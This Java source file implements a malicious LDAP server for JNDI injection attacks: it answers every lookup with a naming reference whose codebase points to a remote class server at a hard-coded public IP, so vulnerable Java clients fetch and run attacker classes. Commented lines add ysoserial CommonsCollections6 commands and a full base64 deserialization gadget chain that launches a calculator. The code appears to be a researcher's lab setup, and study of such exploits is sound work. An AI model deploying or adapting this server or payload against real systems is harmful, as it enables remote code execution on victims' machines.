package com.technology.server;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Paths;
import java.text.ParseException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPServer {

	private static final String LDAP_BASE = "dc=org,dc=example";
	private static final int ladpPort = 8888;//1389
	private static final String remoteClassServer = "http://" + "39.107.88.69" + ":" + 18888 + "/";

	public static void main(String[] args) {
		try {
			InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
			config.setListenerConfigs(new InMemoryListenerConfig(
					"listen", //$NON-NLS-1$
					InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
					ladpPort,
					ServerSocketFactory.getDefault(),
					SocketFactory.getDefault(),
					(SSLSocketFactory) SSLSocketFactory.getDefault()));

			config.addInMemoryOperationInterceptor(new OperationInterceptor());
			InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
			System.out.println("Listening on 0.0.0.0:" + ladpPort); //$NON-NLS-1$
			ds.startListening();

		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			System.out.println("remoteClassServer:" + remoteClassServer);
		}
	}

	private static class OperationInterceptor extends InMemoryOperationInterceptor {
		@Override
		public void processSearchResult(InMemoryInterceptedSearchResult result) {
			String name = result.getRequest().getBaseDN();
			// TODO 可完善通过名称找到对应的类,假设都在com.technology.domain包下&&实体工厂名字=实体Factory
			String basePackage = "com.technology.domain.";
			Entry e = new Entry(name);
			try {
				/** Payload1: Return Reference Factory **/
				e.addAttribute("javaClassName", basePackage + name);
				e.addAttribute("javaCodeBase", remoteClassServer);
				e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
				e.addAttribute("javaFactory", basePackage + name + "Factory");

				/** Payload2: Return Serialized Gadget **/
//				ysoserial>ysomap https://paper.seebug.org/1766/ 抽空看下,直接将类序列化进去会出现CAFEBABY问题
//				java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
//				java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'cmd /k start C:\\Windows\\System32\\calc.exe'|base64
//				e.addAttribute("javaSerializedData", Base64.decode("xx"));
//				e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ADYvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA=="));

				result.sendSearchEntry(e);
				result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
			} catch (Exception e1) {
				e1.printStackTrace();
			}
		}
	}
}